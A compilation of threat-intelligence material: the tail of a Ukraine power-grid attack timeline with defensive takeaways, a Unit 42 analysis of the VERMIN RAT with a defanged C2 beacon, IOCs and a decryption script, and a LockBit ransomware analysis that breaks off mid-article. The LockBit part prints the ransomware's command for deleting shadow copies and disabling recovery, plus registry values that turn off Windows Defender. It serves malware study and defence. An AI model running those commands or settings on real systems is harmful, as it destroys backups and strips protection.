1. **Reconnaissance and Intelligence Gathering**: Threat actors likely begin open-source intelligence gathering and reconnaissance on potential targets.
2. **Malware Development and Weaponization**: Threat actors acquire or independently develop the malware to be used in the attack, as well as the weaponized documents to deliver the malicious files.
3. **Deliver Remote Access Trojan (RAT)**: Threat actors initiate a phishing campaign against electricity distributors.
4. **Install RAT**: Threat actors successfully install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros.
5. **Establish Command-and-Control (CC) Connection**: Malware establishes a connection from the malicious implant on the targeted network to the attacker-controlled command-and-control (CC) server.
6. **Deliver Malware Plugins**: Following installation of the BlackEnergy 3 implant, threat actors likely import plugins to enable credential harvesting and internal network reconnaissance.
7. **Harvest Credentials**: Delivered BlackEnergy malware plugins conduct credential harvesting and network discovery functions.
8. **Lateral Movement and Target Identification on Corporate Network**: Threat actors conduct internal reconnaissance on the corporate network to discover potential targets and expand access.
9. **Lateral Movement and Target Identification on ICS Network**: Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed systems.
### Steps 10-17
10. **Develop Malicious Firmware**: Threat actors develop malicious firmware update for identified serial-to-Ethernet converters.
11. **Deliver Data Destruction Malware**: Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot.
12. **Schedule Uninterruptable Power Supply (UPS) Disruption**: Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers.
13. **Trip Breakers**: Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to over 225,000 customers within three distribution areas.
14. **Sever Connection to Field Devices**: After opening the breakers, threat actors deliver malicious firmware update to serial-to-Ethernet communications devices.
15. **Telephony Denial-of-Service Attack**: Threat actors initiate DoS attack on telephone call center at one of the targeted distributors.
16. **Disable Critical Systems via UPS Outage**: Previously scheduled UPS outage suspends temporary battery backup power to targeted telephone communications server and data center servers.
17. **Destroy Critical System Data**: Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims’ corporate and ICS network.
## Top 10 Takeaways
1. Know your environment. Identifying risk starts with understanding your operational environment, including topology, network and wireless connection points, and connected devices and assets.
2. Identify the key OT processes and data that need to be protected. Cybersecurity professionals need to partner with plant operators to identify and understand essential operational processes that, when disrupted, can cause significant impact on operations.
3. Understand the threats. Stay informed about what’s happening across the broader threat landscape, both within your industry vertical and beyond.
4. Segment your OT and IT environments. Implement network segmentation between your environment using VLANs and firewalls.
5. Focus on the cybersecurity basics. Treat your OT environment like you treat the enterprise. Focus on basic cyber hygiene.
6. Maintain your OT security posture. Keep your patches up to date if possible, and consider alternative controls if vendors do not support their products when new patches are applied.
7. Implement application whitelisting to prevent unknown files from being executed.
8. Use host-based antivirus software to detect and prevent known malware from infecting organization systems.
9. Develop and practice incident response scenarios to understand how to disrupt remote connectivity and manually operate ICS equipment to bring operations back to a safe state.
10. Establish a relationship with the telecommunications provider to aid in filtering out malicious calls during response activities. |
# VERMIN: Quasar RAT and Custom Malware Used In Ukraine
**By Juan Cortes and Tom Lancaster**
**January 29, 2018**
## Summary
Palo Alto Networks Unit 42 has discovered a new malware family written using the Microsoft .NET Framework which the authors call "VERMIN"; an ironic term for a RAT (Remote Access Tool). Cursory investigation into the malware showed the attackers not only had flair for malware naming, but also for choosing interesting targets for their malware: nearly all the targeting we were able to uncover related to activity in Ukraine.
Pivoting further on the initial samples we discovered, and their infrastructure, revealed a modestly sized campaign going back to late 2015 using both Quasar RAT and VERMIN. This blog shows the links between the activity observed, a walkthrough of the analysis of the VERMIN malware, and IOCs for all activity discovered.
## It all began with a tweet
Our initial interest was piqued through a tweet from a fellow researcher who had identified some malware with an interesting theme relating to the Ukrainian Ministry of Defense as a lure.
The sample was an SFX exe which displayed a decoy document to users before continuing to execute the malware; the hash of the file is given below.
**SHA256**: 31a1419d9121f55859ecf2d01f07da38bd37bb11d0ed9544a35d5d69472c358e
The malware was notable for its rare use of HTTP encapsulated SOAP, an XML based protocol used for exchanging structured information, for command and control (C2), which is something not often seen in malware samples. Using AutoFocus, we were quickly able to find similar samples, by pivoting on the artifacts the malware created during a sandbox run, resulting in 7 other samples.
Using the Maltego for AutoFocus transforms, we were then able to take the newly discovered samples and look at the C2 infrastructure in an attempt to see if we could link the samples together and in turn see if these C2’s were contacted by malware. We quickly built up a picture of a campaign spanning just over 2 years with a modest C2 infrastructure.
The malware samples we discovered fell largely into two buckets: Quasar RAT and VERMIN. Quasar RAT is an open-source malware family which has been used in several other attack campaigns including criminal and espionage motivated attacks. But a reasonable number of the samples were the new malware family, VERMIN. Looking at the samples in our cluster we could see the themes of the dropper files were similar to our first sample. Notably, most of the other files we discovered did not come bundled with a decoy document and instead were simply the malware and dropper compiled with icons matching popular document viewing tools, such as Microsoft Word. Names of some of the other dropper binaries observed are given below, with the original Ukrainian on the left and the translated English (via Google) on the right:
| Original Name (Ukrainian) | Translated Name (if applicable) |
|---------------------------|----------------------------------|
| Ваш_ сертиф_кати для отримання безоплатно_ вторинно_ допомоги.exe | Your certificate for free_receive help.exe |
| доповідь2.exe | report2.exe |
| доповідь забезпечення паливом 08.06.17.exe | fuel supply report 08.06.17.exe |
| lg_svet_smeta2016-2017cod.exe | N/A |
| lugansk_2273_21.04.2017.exe | N/A |
| Отчет-райони_2кв-л-2016.exe | Report-areas_2kv-l-2016.exe |
Given the interesting targeting themes and the discovery of a new malware family, we decided to take a peek at what “VERMIN” was capable of and document it here.
## Dissecting VERMIN
For this walkthrough, we’ll be going through the analysis of the following sample:
**SHA256**: 98073a58101dda103ea03bbd4b3554491d227f52ec01c245c3782e63c0fdbc07
**Compile Timestamp**: 2017-07-04 12:46:43 UTC
Analyzing the malware dynamically quickly gave us a name for the malware, based on the PDB string present in the memory of the sample: Z:\Projects\Vermin\TaskScheduler\obj\Release\Licenser.pdb. As is the case with many of the samples from the threat actors behind VERMIN, our sample is packed initially with the popular .NET obfuscation tool ConfuserEx. Using a combination of tools, we were able to unpack and deobfuscate the malware.
Following initial execution, the malware first checks if the installed input language in the system is equal to any of the following:
- ru - Russian
- uk - Ukrainian
- ru-ru - Russian
- uk-ua - Ukrainian
If none of the languages above is found the malware calls “Application.Exit()”, however despite its name, this API call doesn’t actually successfully terminate the application, and instead the malware will continue to run. It’s likely the author intended to terminate the application, in which case a call like “System.Environment.Exit()” would have been a better choice. The fact that this functionality does not work as intended suggests that if author tested the malware before deployment, they were likely to be doing so on systems where the language matches the list above, since otherwise they would notice that the function is not working as expected.
After passing the installed language check the malware proceeds to decrypt an embedded resource using the following logic:
- It retrieves the final four bytes of the encrypted resource.
- These four bytes are a CRC32 sum, and the malware then proceeds to brute force what 6-byte values will give this CRC32 sum.
- Once it finds this array of 6 bytes it performs an MD5 hash sum on the bytes, this value is used as the key.
- The first 16 bytes of the encrypted resource are then used as the IV for decryption.
- Finally, using AES it decrypts the embedded resource.
A script mirroring this routine can be found in appendix C.
After decrypting the embedded resource, the malware passes several hardcoded arguments to the newly decrypted binary and performs a simple setup routine before continuing execution. The embedded resource contains all the main code for communications and functionality the RAT contains.
First the malware attempts to decrypt all of the strings passed as parameters. If no arguments were supplied the malware attempts to read a configuration file from a pre-defined location expecting it to be base64-encoded and encrypted with 3-DES using a hardcoded key "KJGJH&^$f564jHFZ":
**C:\Users\Admin\AppData\Roaming\Microsoft\AddIns\settings.dat**
If arguments were supplied, they are saved and encrypted to the same location as above. Parameters supplied are given below. Note that these are the actual variable names used by the malware author:
- serverIpList
- mypath
- keyloggerPath
- mutex
- username
- password
- keyloggerTaskName
- myTaskName
- myProcessName
- keyLoggerProcessName
- myTaskDecription
- myTaskAuthor
- keyLoggerTaskDecription
- keyLoggerTaskAuthor
The decrypted resource is set to be run as a scheduled task every 30 minutes, indefinitely.
After this, the malware is ready to start operations, and does so by collecting various information about the infected machine, examples of collected information includes but is not limited to:
- Machine name
- Username
- OS name via WMI query
- Architecture: x64 vs x86 (64 vs. 32 bit)
- Local IP Address
- Checks Anti-Virus installed via WMI query
If the Anti-Virus (AV) query determines any AV is installed the malware does not install the keylogger. The keylogger is embedded as a resource named ‘AdobePrintFr’. This binary is only packed with Confuser-Ex and is not further obfuscated.
The malware then sends its initial beacon using a SOAP envelope to establish a secure connection. The author uses the WSHttpBinding() API - which allows the author to use WS-Addressing and purposely sets the WSMessageEncoding.Mtom to encode the SOAP messages. The author also sets up for using ‘Username’ authentication for communicating with its C2, presumably allowing the author easier control over the various infected hosts. A defanged exemplar request/response is given below:
```
POST /CS HTTP/1.1
MIME-Version: 1.0
Content-Type: multipart/related; type="application/xop+xml";start="<http://tempuri.org/0>";boundary="uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3"
Host: akamainet024[.]info
Content-Length: 1408
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
--uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3
Content-ID: <http://tempuri.org/0>
Content-Transfer-Encoding: 8bit
Content-Type: application/xop+xml;charset=utf-8;type="application/soap+xml"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:MessageID>urn:uuid:159e7656-a3ea-4099-aa</a:MessageID>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</s:Header>
<s:Body>
<t:RequestSecurityToken Context="uuid-9a01748a-8acf-449e-9a3d-febcff2f2406-3" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Is</t:RequestType>
<t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego" EncodingType="http://docs.oasis-open.org/wss/2004/1.0#Base64Binary">FgMBAFoBAABWAwFaCdyfpYsLZDbnCizlWg3iw2M80KiaWb+oIgzhJ1BvugAAGAAvADUABQAKwBPAFMAJwAoAMgA</t:BinaryExchange>
</t:RequestSecurityToken>
</s:Body>
</s:Envelope>
--uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3--
```
VERMIN collects all keystrokes and clipboard data and encrypts the data before storing it in the following folder:
**%appdata%\Microsoft\Proof\Settings.{ED7BA470-8E54-465E-825C-99712043E01C}\Profiles\**
Each file is saved with the following format: "{0:dd-MM-yyyy}.txt". The data is encrypted using the same method and 3-DES key, used to encrypt the configuration file.
VERMIN supports the following commands:
- ArchiveAndSplit
- CancelDownloadFile
- CancelUploadFile
- CheckIfProcessIsRunning
- CheckIfTaskIsRunning
- CreateFolder
- DeleteFiles
- DeleteFolder
- DownloadFile
- GetMonitors
- GetProcesses
- KillProcess
- ReadDirectory
- RenameFile
- RenameFolder
- RunKeyLogger
- SetMicVolume
- ShellExec
- StartAudioCapture
- StartCaptureScreen
- StopAudioCapture
- StopCaptureScreen
- UpdateBot
- UploadFile
For most of these commands, the malware requires “hands-on-keyboard” style one-to-one interactions. Often remote access tools written in .NET borrow and steal code from other tools due to the plethora of code available through open source; however, it appears that whilst some small segments of code may have been lifted from other tools, this RAT is not a fork of a well-known malware family: it’s mostly original code.
We have linked all the samples we have been able to identify to the same cluster of activity: this strongly suggests the VERMIN malware is used exclusively by this threat actor and this threat actor alone.
## Concluding thoughts
We were unable to definitively determine the aims of the attackers or the data stolen. However, given the limited number of samples, the targeting themes observed, and the “hands-on-keyboard” requirement for most of the malware’s operations (except for keylogging), it seems likely that the malware is used in targeted attacks in Ukraine.
Ukraine remains a ripe target for attacks, even gaining its own dedicated Wikipedia page for attacks observed in 2017. In addition to the high-profile attacks such as the Petya/NotPetya and BadRabbit, which have been widely reported, there are likely many smaller campaigns like the one described in this blog aimed to steal data to gain an information advantage for the attackers’ sponsors.
Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways:
- Wildfire identifies all samples mentioned in this article as malicious.
- Traps identifies all samples mentioned in this article as malicious.
- C2 domains used in this campaign are blocked via Threat Prevention.
AutoFocus customers can track samples related to this blog via the following tags:
- VERMIN
- VERMINKeylogger
- VERMINCampaign
## Appendix A – C2 Addresses
- akamaicdn[.]ru
- cdnakamai[.]ru
- www.akamaicdn[.]ru
- www.akamainet066[.]info
- www.akamainet023[.]info
- www.akamainet021[.]info
- akamainet023[.]info
- akamainet022[.]info
- akamainet021[.]info
- www.akamainet022[.]info
- akamainet066[.]info
- akamainet024[.]info
- www.cdnakamai[.]ru
- notifymail[.]ru
- www.notifymail[.]ru
- mailukr[.]net
- tech-adobe.dyndns[.]biz
- www.mailukr[.]net
- 185.158.153[.]222
- 94.158.47[.]228
- 195.78.105[.]23
- 94.158.46[.]251
- 188.227.75[.]189
- 212.116.121[.]46
- 185.125.46[.]24
- 5.200.53[.]181
## Appendix B – Malware Samples
| SHA256 | Family |
|--------|--------|
| 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6 | Quasar |
| 154ef5037e5de49a6e3c48ea7221a02a5df33c34420a586cbff6a46dc5026a91 | Quasar |
| 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18 | Quasar |
| 250cf8b44fc3ae86b467dd3a1c261a6c3d1645a8a21addfe7f2e2241ff8b79fc | Quasar |
| 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da | Quasar |
| 92295b38daa4e44b9d257e56c5b271bbbf6a620312dc58e48e56473427170aa1 | Quasar |
| 9ea00514c4ae9519a8938924b02826cfafeb75fc70f16c422aeadb8317a146c1 | Quasar |
| a3c84c5f8d981653a2a391d29f32c8127fba8f0ab7da8815330a228205c99ba6 | Quasar |
| 7b08b0d4d68ebf5238eaa8a40f815b83de372e345eb22cc3d50a4bb1869db78e | Quasar |
| f75861216f5716b0227733e6a093776f693361626efebe37618935b9c6e1bdfd | Quasar |
| 51b0bb172c6e5eaa8e333fbf2451ae27094991b6330025374b9082ae8cd879cf | Quasar |
| 46ae101a8dc8bf434d2c599aaabfb72a0843d21e2150a6c745c0c4a771c09da3 | Quasar |
| 488db27f3d619b3067d95515a356997ea8e840c65daa2799bdd473dce93362f2 | Quasar |
| 5a05d2171e6aeb5edd9d39c7f46cd3bf0e2ee3ee803431a58a9945a56ce935f6 | Quasar |
| 6f4e20e421451c3d8490067f8424d7efbcc5edeb82f80bb5562c76d4adfb0181 | Quasar |
| 9a81cffe79057d8d307910143efd1455f956f2de2c7cc8fb07a7c17000913d59 | Quasar |
| c84afdd28fa0923a09f6dd3af1e3821cdb07862b2796fa004cd3229bc6129cbe | Quasar |
| 6cf63ae829984a47aca93f8a1261afe5a06930f04fab6f86f6f7f9631fde59ec | Quasar |
| aa982fe7d28bbf55865047b16334efbe3fcb6bae06e5ed9cab544f1c8d307317 | Quasar |
| 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef | VERMIN |
| 677edb1a0a86c8bd0df150f2d9c5c3bc1d20d255b6f7944c4adcff3c45df4851 | VERMIN |
| 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d | VERMIN |
| e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7 | VERMIN |
| eb48a31f8f81635d24f343a09247284149884bd713d3bc1c0b9c936bca8bafd7 | VERMIN |
| 15c52b01d2b9294e2dd4d9711cde99e10f11cd188e0d1e4fa9db78f9805626c3 | VERMIN |
| 31a1419d9121f55859ecf2d01f07da38bd37bb11d0ed9544a35d5d69472c358e | VERMIN |
| 5586fb423aff39a02cddf5e456a83a8301afe9ed78ecbc8de2cd852bc0cd498f | VERMIN |
| 5ee12dd028f5f8c2c0eb76f28c2ce273423998b36f3fc20c9e291f39825601f9 | VERMIN |
| eb48a31f8f81635d24f343a09247284149884bd713d3bc1c0b9c936bca8bafd7 | VERMIN |
| 98073a58101dda103ea03bbd4b3554491d227f52ec01c245c3782e63c0fdbc07 | VERMIN |
| c5647603337a4e9bfbb2259c0aec7fa9868c87ded2ab74e9d233bdb2a3bb163e | VERMIN |
| eb46b8978619a72f4b0d3ea8961dde527f8e27e89701ccd6e5643c33b103d901 | VERMIN |
| abd05a20b8aa21d58ee01a02ae804a0546fbf6811d71559423b6b5afdfbe7e64 | VERMIN |
## Appendix C – Python script to decode VERMIN resources
```python
#!/usr/local/bin/python
__author__ = "Juan C Cortes"
__version__ = "1.0"
__email__ = "[email protected]"
from random import randint
import zlib
import binascii
import sys
import logging
import hashlib
import argparse
import os
import struct
from tabulate import tabulate
from Crypto import Random
from Crypto.Cipher import AES
def parse_arguments():
"""Argument Parser"""
parser = argparse.ArgumentParser(usage="Decrypt strings for VerminRAT")
parser.add_argument("-v", "--verbosity", action="store_true", dest="vverbose", help="Print debugging information")
parser.add_argument("-o", "--output", dest="output_file", type=str, help="Output results file")
parser.add_argument("input", type=str, action='store', help="Input file of newline separated strings or single string")
parser.add_argument("-b", "--blob", action='store_true', help="Param use for decrypting blobs of data instead of strings. Blob is autosave to 'blob.out'")
return parser
def write_out(output_list, headers, output_file=False):
"""
Pretty outputs list
:param output_list: List to output
"""
print(tabulate(output_list, headers, tablefmt="simple"))
print("")
if output_file:
with open(output_file, "ab") as file:
file.write(tabulate(output_list, headers, tablefmt="simple").encode())
file.write(b"\n\n")
def generateArray():
abyte = bytearray(6)
for i in range(0, 6):
abyte[i] = randint(0, 0x7FFFFFFF) % 7
return abyte
def parseEncrypteStr(encryptStr):
try:
decoded = encryptStr.decode('base64')
hardcoded_crc32 = decoded[-4:]
parsedEncrypted = decoded[16:-4]
iv = decoded[:16]
return hardcoded_crc32, parsedEncrypted, iv
except Exception as e:
print(e)
def bruteForceCRC32Value(valuecrc32):
while True:
arry = generateArray()
crc32 = binascii.crc32(arry)
crc32 = crc32 % (1 << 32)
if crc32 == valuecrc32:
return arry
def decryptStr(str, key, iv):
aes = AES.new(key, AES.MODE_CBC, iv)
blob = aes.decrypt(str)
return blob
def parsePlainText(str):
char = ""
for i in str:
if 0x20 <= ord(i) <= 0x127:
char += i
else:
continue
return char
def parseUnicde(str):
try:
uni = ""
for i in range(0, len(str) // 2):
uni += str[i]
return uni.decode('utf16')
except Exception as e:
print(e)
def main():
"""Main Method"""
args = parse_arguments().parse_args()
strs = []
if args.vverbose:
logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')
if args.blob and not os.path.exists(args.input):
b = args.input
crc32Hardcode, encryptedStr, iv = parseEncrypteStr(b)
crc32Hardcode = bytearray(crc32Hardcode)
crc32Hardcode = struct.unpack('<I', crc32Hardcode)[0]
bruteArray = bruteForceCRC32Value(crc32Hardcode)
m = hashlib.md5()
m.update(bruteArray)
key = m.digest()
plain = decryptStr(encryptedStr, key, iv)
with open('blob.out', "wb") as file:
file.write(plain)
if not os.path.exists(args.input):
strs.append(args.input)
else:
with open(args.input, "rb") as open_file:
for line in open_file:
hash = line.rstrip()
strs.append(hash)
for s in strs:
crc32Hardcode, encryptedStr, iv = parseEncrypteStr(s)
crc32Hardcode = bytearray(crc32Hardcode)
crc32Hardcode = struct.unpack('<I', crc32Hardcode)[0]
bruteArray = bruteForceCRC32Value(crc32Hardcode)
m = hashlib.md5()
m.update(bruteArray)
key = m.digest()
plain = decryptStr(encryptedStr, key, iv)
parsestr = parsePlainText(plain)
unistr = parseUnicde(plain)
headers = ["ASCII", "UNICODE"]
outputlist = [[parsestr, unistr]]
write_out(outputlist, headers, args.output_file)
if __name__ == '__main__':
main()
``` |
# Understanding LockBit
## A SecPro Super Issue: Understanding LockBit
For those of you in the UK, you may be winding down for the week already and ready for the Queen’s Platinum Jubilee – a celebration of a monarch who has seen the world change from the low tech world of the 1950s to the technological revolution that we are living through today. In a world completely unimaginably different to those who witnessed a coronation in 1953, taking a minute to reflect on the leaps and bounds we have made as a species is something that people often forget to do.
Of course, the rise of modern computers saw another significant rise – cybercriminals. No one is more aware of the rising threat than cybersecurity professionals, so here’s some light reading for the long weekend. If you’re not in the UK, you can just enjoy a super issue without the special occasion.
Thanks for reading and we’ll see you again on Friday!
Cheers!
Austin Miller
Editor-in-Chief
## Understanding the LockBit Ransomware
### By Andy Pantelli
Breaking down the Bitwise Spider APT
Looking at the origins of the adversary, how the group evolved, and how they became one of the most prolific criminal gangs using Ransomware-as-a-Service. We will take a look at the Tactics, Techniques & Procedures the adversary uses and break these down.
The origins of BitWise Spider began in September of 2019. Known then as ABCD Ransomware, the gang set about promoting and supporting their operation via Russian language forums. Developing a strong professional operation until June 2021 when the group were banned from posting on Cyber Security forums. This prompted a rebrand with the group changing name to BitWise Spider and at the same time releasing LockBit 2.0 ransomware & the StealBit information stealer.
This appears to be a milestone for the group which then saw an increase in their reputation and popularity amongst the Dark Web Community having matured & added much more functionality into Lockbit 2.0 Ransomware-as-a-Service (RaaS). We will take a deeper look in more detail later in the article at the TTPs (Tactics, Techniques & Procedures) used by the adversary.
Having become one of the most prolific Ransomware gangs, the group looked to mature their software and the business model. LockBit operations were by now increasing and developing the recruitment and marketing with affiliates. What exactly is an ‘affiliate’?
Ransomware-as-a-Service developers can maximize their product exposure by providing it to third parties, or ‘affiliates’ who in turn focus themselves on targeting victims and infecting their networks. There is a monetary trade between the developers and the affiliates for the number of infections and the numbers of users within an infected organization.
This model worked for BitWise Spider successfully allowing them to focus on development and profit, but also provides a layer between the gang and the victim making detection or prosecution of the developers more difficult with obscurity. Affiliate schemes are used by almost all Ransomware developers who provide the affiliate with a unique identifier in specific code within the Ransomware which directs any payout to the affiliate that caused the infection.
### BitWise Spider comes of age
In March of 2022, the gang had matured their code, enriched features, added functionality and introduced new tactics. This included data extortion as they began to detail new victims through their Dark Web site. Using an array of techniques, tactics & procedures (TTP) the group were responsible for many high profile attacks such as the one in 2021 against Accenture, who were at the time in the process of a marketing campaign to recruit new affiliates. The Fortune 500 Company was later to confirm the breach with a $50m ransom demanded otherwise the company data would be leaked. Accenture were soon forced to file a data breach in the October SEC filings after “extraction of proprietary information” during the August attack.
LockBit has undergone some major development releasing a new version including several new features: automatic encryption of devices across Microsoft Windows Active Directory Domains, the removal of shadow copies, self-propagation, the ability to bypass User Account Control Settings (UAC), ESXi support, and even the capability of printing ransom notes via the victim’s network connected printers. Some of the techniques seen are publicly available such as privilege escalation by using the Mimikatz tool but also the group claims to have the fastest encryption method which employs a multithread approach using some of the following methods to boost performance:
- Open files with the FILE_FLAG_NO_BUFFERING flag, write by sector size
- Transfer work with files to Native API
- Use asynchronous file I/O
- Use I/O port completion
- Pass control to the kernel yourself, Google KiFastSystemCall
Not content with this improvement, the developers at BitWise Spider introduced StealBit to shift their tactics by employing data exfiltration as a double extortion tactic. Victims of Ransomware may not be willing to pay the fee in some instances; this could be for a number of reasons, lack of financial resources, available backups, concerns that if a payment were to be made to the blackmailers then would the data even be unencrypted? All this made criminal gangs look towards threatening victims of Ransomware that unless a payment were made to the gang then the malicious actors would release the data online or even sell it. StealBit is developed and maintained by the group and as seen by the graphic compares favourably against other Ransomware tools.
### MITRE ATT&CK
Tactics, techniques & procedures (TTPs) observed to be used by the adversary:
### Industries & Countries Targeted
LockBit targets diverse industry sectors & geographical regions. Most attacks are observed in the US, India & Brazil with the Commonwealth of Independent States being avoided. Business sectors indicate the Healthcare closely followed by the Education Sector although the group have issued a statement to claim that they do not target “healthcare, charity or educational institutions”. This has prompted the US Department of Health Services (HHS) to issue a “contradictory code of ethics” note warning the public not to rely on such statements and these are shown not to be true.
### Initial Access
LockBit affiliates gain access via compromised servers, or by using RDP or VPN accounts using brute force insecure credentials. A further delivery method is by exploiting Fortinet VPN CVE-2018-13379 vulnerability. LockBit also makes use of Mimikatz to escalate privileges.
### Execution
Executed by command line or by scheduled tasks and can be propagated in other machines. It is also known to use PowerShell Empire post exploitation agent.
### Persistence
Registry Run Keys / Start up Folders
### Discovery
Advanced Port Scanner, Network Scanner & AdFind are used to enumerate connected machines.
### Lateral movement
Self-Propagation via SMB using compromised credentials or Group Policy. PsExec or Cobalt Strike is used for lateral movement.
### Exfiltration
Data extracted to Cloud Storage Web Applications MEGA, or FreeFileSync. Also used for exfiltration is the group's own StealBit.
### Impact
Ransomware payload will encrypt victim machines upon execution. This includes local and network drives, encrypting with AES-256. Can print ransom note using connected printers. The desktop wallpaper is also replaced. Ransom note, file name Restore-My-Files.txt.
### Tactics
The use of affiliates, marketing & the gang's Direct Leak Site to upload stolen data are direct tactics to propagate the monetization. Offering Ransomware-as-a-Service provides a tactic to avoid direct involvement and obfuscate any law enforcement action.
Known target industries include and are not limited to Cryptocurrency, Academics, Aviation, Aerospace, Healthcare, Insurance, Food and Beverage, Chemicals, Energy, Oil and Gas, Manufacturing, Hospitality, Real Estate, Travel, Opportunistic, Logistics, Transportation, Legal, Retail, and Government.
The known 74 target countries include Taiwan, China, Poland, Netherlands, Mexico, the United States, Belgium, Colombia, Denmark, Chile, Vietnam, and Peru.
The gang have developed a strong selling point with affiliates using the speed of the malware with its capabilities being well known. The group maximizes this selling point through various means of publicity. External factors influence the targeting of victims with a preference for victims that have concerns over GDPR in Europe.
### Techniques
As with many Ransomware gangs, LockBit will check system language to avoid encrypting systems in Russia or other nearby CIS states. The Malware issues the commands GetSystemDefaultUILanguage and GetUserDefaultUILanguage to check if the system of user default UI is in the language list to avoid.
The malware uses an If statement and calls ExitProcess to terminate itself if the user of system UI language is identified.
Strings seen in LockBit executables are encoded and then stored as a stack string. Before use, they are decoded dynamically through computations such as addition, subtraction or XOR, this is the Stack String Anti-Analysis.
As with many major Ransomware variants, LockBit resolves APIs dynamically to make the Inline Anti-Analysis more difficult but the gang have enhanced the technique by making the entire resolving process inline which makes the decompiled code much larger, and therefore more difficult & time-consuming to analyze.
Then using methods to load the API libraries into memory, the malware uses hashing & obfuscation methods to access the DLL base and export table which returns the target API address. After loading all required libraries, LockBit will restrict access to its own process by calling NT OpenProcess to get a handle on the current process then resolve GetSecurityInfo to get the process security descriptor.
By initializing an SID for the EVERYONE group and using the RtlAddAccessDeniedAce to add the ACCESS_DENIED access control entry for the EVERYONE group, the malware process is effectively protected. Additional ACEs are iterated for each process that the malware uses. Critical system messages are suppressed and calls to RtlAdjustPrivilege which enables the SE_TAKE_OWNERSHIP_PRIVILEGE.
### Privilege escalation
In the next stages, LockBit will look to elevate the privilege of the user account using the GetTokenInformation call to retrieve information about the user account associated with the Token. Using a combination of retrieving and comparing account SID, the malware begins the process to escalate itself.
### Logging
The malware then makes a number of calls to create hidden debug windows which can be viewed during the process by a combination of hot keys Shift+F1.
### Command Line
Command-line is to be used with or without arguments. Once encryption of the target file/directory is complete, the process is terminated.
### Mutex
LockBit checks for, and avoids multiple Ransomware instances by checking the stack string {\%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}.
### Active Directory
LockBit seeks out the OS Version; if Windows Vista or above, it tries to create and set up new group policies for other hosts within Active Directory using NtQueryInformationToken and the NtOpenProcessToken commands. The malware looks up the Admin account and Domain. To then connect to the AD Domain, LockBit will generate the LDAP display name for the Group Policy Object.
By resolving the stack string and formatting it with the public key, manually extracting the DNS Domain Name, and name LockBit is able to create a new GPO. Lastly, the path is built by formatting the string LDAP://CN=<GPO GUID>,CN=Policies,CN=System,DC=<Domain component 1>,DC=<Domain Component 2> which allows the AD path and GPO to call CreateGPOLink to connect the GPO to the Active Directory Domain.
### DNS Retrieval
LockBit formats ScheduledTasks.xml file to execute a taskkill.exe for each process in the process list before dropping in the Registry.pol file which contains the following list of registry paths and values:
- Software\Policies\Microsoft\Windows Defender\DisableAntiSpyware: True
- Software\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring: True
- Software\Policies\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent: Never send
- Software\Policies\Microsoft\Windows Defender\Threats\Threats_ThreatSeverityDefaultAction: Enabled
- Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Low: Ignored
- Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Medium: Ignored
- Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\High: Ignored
- Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Severe: Ignored
- Software\Policies\Microsoft\Windows Defender\UX Configuration\Notification_Suppress: Enabled
These following registry configurations disable Windows Defender features such as anti-spyware, real-time protection, submitting samples to Microsoft servers, default actions, and displaying notification on all network hosts.
### Persistence
Before executing encryption routines, LockBit configures persistence using Registry Keys if the Malware is interrupted by a system shutdown. Once encryption is complete, the malware will remove the persistence key calling RegDeleteValue to prevent itself from running again if the user restarts the machine following encryption.
### Deleting backups
LockBit will delete shadow copies by resolving the string /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no then passes the fields to ShellExecuteA. The command uses vssadmin and wmic to delete all shadow copies and bcdedit to disable file recovery.
### Wallpaper
Setting the default file extension, desktop background and ransom note printing tasks are completed.
### Printing
Using the call EnumPrintersW to retrieve printers’ information. The internal function resolves two strings Microsoft Print to PDF and Microsoft XPS Document Writer to compare the printer name. If the value is one of the two, the function will exit and the ransom note will not be printed. This is to ensure that the note is not printed to a file and only to print from a physical printer.
### Extension
All files encrypted by LockBit have the file extension .lockbit after calling NtCreateFile and NtWriteFile resolves \Registry\Machine\Software\Classes\.lockbit stack string and calls NTCreateKey to create the registry extension, this is done after formatting using its public key.
### File Encryption
